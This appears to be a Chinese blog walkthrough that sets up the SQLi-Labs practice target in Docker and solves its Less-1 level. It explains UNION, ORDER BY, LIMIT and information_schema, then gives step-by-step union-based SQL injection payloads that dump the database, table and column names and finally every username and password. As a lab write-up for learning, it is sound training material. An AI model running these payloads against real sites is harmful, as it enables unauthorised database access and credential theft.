SQL注入(靶场搭建 及 Less-1)

搭建SQLi-Labs靶场

1
2
3
4
5
6
7
8
# 搜索 sqli-labs 镜像 (可选)
docker search sqli-labs

# 拉取一个常用的镜像
docker pull acgpiano/sqli-labs

# 运行容器 (-p 81:80 表示将容器的80端口映射到宿主机的81端口)
docker run -dt --name sqli-labs -p 81:80 acgpiano/sqli-labs

可能遇到的网络问题:

1
2
3
Error response from daemon: Get "https://index.docker.io/v1/search?q=sqli-labs&n=25": dial tcp [2a03:2880:f130:83:face:b00c:0:25de]:443: i/o timeout
或者
Error response from daemon: Get "https://index.docker.io/v1/search?q=sqli-labs&n=25": read tcp [2409:8924:a62a:2ff:4905:c08b:ddb3:cc4d]:47256->[2600:1f18:2148:bc01:8ea1:e481:4fa3:8934]:443: read: connection reset by peer
我的解决方案: 1. WSL2(如果你是VM虚拟机我猜应该也差不多)使用 NAT 模式(之前我设置的是镜像模式) 2. 主机开启 TUN 模式

Less-1 基于报错的单引号字符型GET注入

补充前置知识

源代码在/var/www/html

select

SELECT 1, 2, 3 是一个有效的 SQL 语句(不需要表名),它的意思是:选择三个固定的数值(1, 2, 3)作为查询

union

使用 UNION 时,每个 SELECT 语句必须具有相同数量的列,且对应列的数据类型必须相似

假设有两个表:

users 表:

1
2
3
4
id | name  | age
---+-------+-----
1 | Alice | 25
2 | Bob | 30

products 表:

1
2
3
4
id | product_name | price
---+--------------+-------
1 | Laptop | 1000
2 | Phone | 500

执行:

1
2
3
4
5
$sql = "SELECT name FROM users 
UNION
SELECT product_name FROM products";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
结果集:
1
2
3
4
5
6
name
-----
Alice
Bob
Laptop
Phone

选择多列

1
2
3
SELECT name, age FROM users 
UNION
SELECT product_name, price FROM products

结果集

1
2
3
4
5
6
name   | age
-------+------
Alice | 25
Bob | 30
Laptop | 1000
Phone | 500

列名规则

  • 使用第一个 SELECT 语句的列名作为关联数组的键
  • 即使后续SELECT的列名不同,也使用第一个的列名

$row 的内容

mysql_fetch_array():从结果集中获取下一行数据,并将该行数据转换为一个数组

$row 是一个包含两种索引方式的数组,既包含数字索引也包含关联索引。

mysql_fetch_array($result) 返回: - [0] = name值, [1] = age值 - ['name'] = name值, ['age'] = age值

1
2
3
4
5
6
7
8
9
$row = [
// 数字索引(按SELECT顺序)
0 => 'Alice', // 第一个SELECT列的值
1 => 25, // 第二个SELECT列的值

// 关联索引(按列名)
'name' => 'Alice', // name列的值
'age' => 25 // age列的值
];

所以 ?id=-1' union select 1,2,3 --+ 中的1,没有回显是因为作为$row['id']的值了,而源代码只取了$row['username']$row['password']

order by

ORDER BY 关键字用于对结果集按照一个列或者多个列进行排序

ORDER BY 2 中的数字表示: >1 = SELECT 列表中的第一个列
>2 = SELECT 列表中的第二个列
>3 = SELECT 列表中的第三个列

数字超出 SELECT 列表范围也会报错

limit

LIMIT 0,1 是 SQL 中的限制子句,意思是:从第0行开始,返回1行数据

LIMIT offset, count 的格式: - 第一个数字 (0):偏移量(从0开始计数) - 第二个数字 (1):要返回的行数

所以 LIMIT 0,1 表示: - 从第1行开始(偏移量0表示跳过0行,即从第1行开始) - 返回1行数据

示例说明

假设 users 表有数据:

1
2
3
4
5
6
id | name
---+------
1 | Alice
2 | Bob
3 | Charlie
4 | David

1
SELECT * FROM users LIMIT 0,1;

1.LIMIT 0,1

结果:

1
2
3
id | name
---+------
1 | Alice

2.LIMIT 1,1

结果:

1
2
3
id | name  
---+------
2 | Bob

3.LIMIT 2,2

结果:

1
2
3
4
id | name
---+---------
3 | Charlie
4 | David

库名表名列名

database() 可以输出数据库的名字

MySQL 里有个库叫 information_schema。它不存业务数据,只存所有数据库、表、字段的名字

1. 查所有数据库名

  • 表名: schemata
  • 关键列: schema_name
  • 怎么用:
    1
    SELECT schema_name FROM information_schema.schemata;
    > 结果:mysql, test, security ... (返回所有数据库名)

2. 查所有表名

  • 表名: tables
  • 关键列:
    • table_schema (表属于哪个数据库)
    • table_name (的名字)
  • 怎么用(注入时最常用):
    1
    2
    SELECT table_name FROM information_schema.tables 
    WHERE table_schema = 'security';
    > 结果:users, emails ... (返回security数据库里的所有表名)

3. 查所有字段名

  • 表名: columns
  • 关键列:
    • table_schema (字段属于哪个数据库)
    • table_name (字段属于哪个)
    • column_name (字段的名字)
  • 怎么用:
    1
    2
    SELECT column_name FROM information_schema.columns 
    WHERE table_schema = 'security' AND table_name = 'users';
    > 结果:id, username, password ... (返回security库的users表里所有字段名)

group_concat

正常情况下,一个 SELECT 查询会返回多行数据。GROUP_CONCAT() 的作用就是把多行数据合并成一行,用一个指定的符号(比如逗号)隔开

1
GROUP_CONCAT([DISTINCT] 要合并的字段 [ORDER BY 排序字段] [SEPARATOR '分隔符'])
查询所有表名
1
2
SELECT group_concat(table_name) FROM information_schema.tables
WHERE table_schema="security"

Less-1 解题步骤

  1. 根据提示在url栏里添加 ?id=1,结果正常显示用户名密码,因此可以枚举id的值来获取所有的用户名密码

  2. 判断是字符型还是数字型,若?id=2-1出现的结果与?id=1的结果相同就是数字型,否则是字符型

    1
    2
    3
    4
    5
    6
    7
    8
    9
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; // 这是字符型,因为$id被单引号包裹,是单引号闭合
    //其他常见闭合类型:
    $sql = "SELECT * FROM products WHERE name = \"$product_name\""; // 双引号闭合
    // 单引号加括号闭合 ') -常见于PHP框架、INSERT/UPDATE语句
    $sql = "INSERT INTO logs (message, user) VALUES ('$message', '$user')";
    $sql = "UPDATE users SET email = '$email' WHERE id = $id"; //WHERE子句也可能有括号
    $sql = "INSERT INTO table (col1, col2) VALUES (\"$val1\", \"$val2\")"; // 双引号加括号闭合

    // 所以没有闭合的就是数字型

  3. 判断闭合类似(根据报错内容慢慢试),这里结果是单引号闭合

  4. 目的是使用联合查询,所以要确定前面一个查询查了几列,保证列数相同

    1
    2
    3
    4
    ?id=1' union select 1 --+
    ?id=1' union select 1,2 --+
    ?id=1' union select 1,2,3 --+
    结果是3列的时候没有报错
    20250822221301

  5. 确定回显,由于第一个查询语句是对的,所以没有回显,我们设法将第一个查询语句的结果集为空

    1
    ?id=-1' union select 1,2,3 --+
    20250822221348

  6. 查询库名,这里结果为security

    1
    ?id=-1' union select 1,2,database() --+

  7. 查询表名, 猜测大概率是 users 表,不使用group_concat也可以用limit 0,1的方式逐个查询

    1
    ?id=-1' union SELECT 1, 2, group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security'; --+
    20250822222016

  8. 查询列名

    1
    ?id=-1' union SELECT 1, 2, group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users'; --+
    20250822222315

  9. 查询所有用户名和密码

    1
    ?id=-1' union SELECT 1, group_concat(username), group_concat(password) FROM users --+
    20250822222626